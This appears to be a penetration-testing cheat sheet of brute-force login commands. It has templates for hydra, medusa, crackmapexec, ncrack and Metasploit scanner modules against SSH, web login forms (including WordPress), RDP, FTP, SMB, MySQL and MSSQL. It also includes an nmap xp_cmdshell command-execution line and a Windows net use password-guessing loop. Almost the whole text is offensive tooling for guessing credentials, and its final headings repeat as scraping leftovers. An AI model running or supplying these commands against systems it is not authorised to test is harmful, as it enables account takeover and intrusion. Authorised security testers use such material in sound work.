Brute Force

From Linux

SSH

crackmapexec <ssh> <ip/range> -u user -p password (-d <domain or .>)

auxiliary/scanner/ssh/ssh_login

hydra -e -l root -P <dico> <ip> ssh
hydra -e -L <userlist.txt> -P <dico> <ip> -s 22 ssh -V

HTTP

cewl <url> -m 6 -w cewl.txt
john --wordlist=cewl.txt --rules --stdout > mutated.txt
medusa -h <ip> -u <user> -P mutated.txt -M http -n 80 -m DIR:</directory/to/login/panel> -T 30

Match success string

hydra -e -s 443 -S -l <username> -P <dico.txt> -t <16> \
        -m <url> <ip> https-post-form \
        "<url>:<username_var>=^USER^&<password_var>=^PASS^:S=<match success>(:H=Host\: <vhost>)"

Match failed attempt string

hydra -e -s 443 -S -l <username> -P <dico.txt> -t <16> \
        -m <url> <ip> https-post-form \
        "<url>:<username_var>=^USER^&<password_var>=^PASS^:=<failed attempt string>(:H=Host\: <vhost>)"

hydra -e -s 443 -S -l admin -P <dico.txt> -t 16 -m /wp-login.php <ip> https-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:S=302 Found"

xhydra (ftp/pop3/smtp/snmp/http/ssh/mysql/vnc/...)

medusa -h <ip> -u <user> -P <dict> -m DIR:</phpmyadmin/> -t <10> -M http

MySQL

mysql -h <ip> --user=<username> --password=<password> (DB)

MSSQL

sqsh -S <ip>:<port> -U <user> -P <password>
sqlcmd -S <ip>:<port> -U SA -P <password>
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="whoami" <ip> 

RDP

rdesktop <ip> -u <user> -p <password> -d <domain>

hydra -e -t <10> -V -f -L <user> -P <dict> rdp://<ip>

xfreerdp /v:<ip>:<port> /u:<user> /p:<password/hash> /d:<domain> /dynamic-resolution

ncrack -vv --user <user> -P <dict> rdp://<ip>

FTP

auxiliary/scanner/ftp/ftp_login

medusa -h <ip> -u <user> -P <dict> -M ftp -t 10

SMB

smbclient //<ip>/<c$> <password> -U <user>

crackmapexec <smb> <ip/range> -u user -p password (-d <domain or .>)

From Windows

for /f %i in (<dico.txt>) do @echo %i & @net use \\<ip> %i /u:<user> 2>nul && pause

Append result into a file

for /F in %i in (<dico.txt>) do @echo %i & @net use \\<ip> %i /u:<user> 2>nul && echo <user>: %i >> >out>

Login brute force​

From Linux​

From Windows​

Login brute force

From Linux

From Windows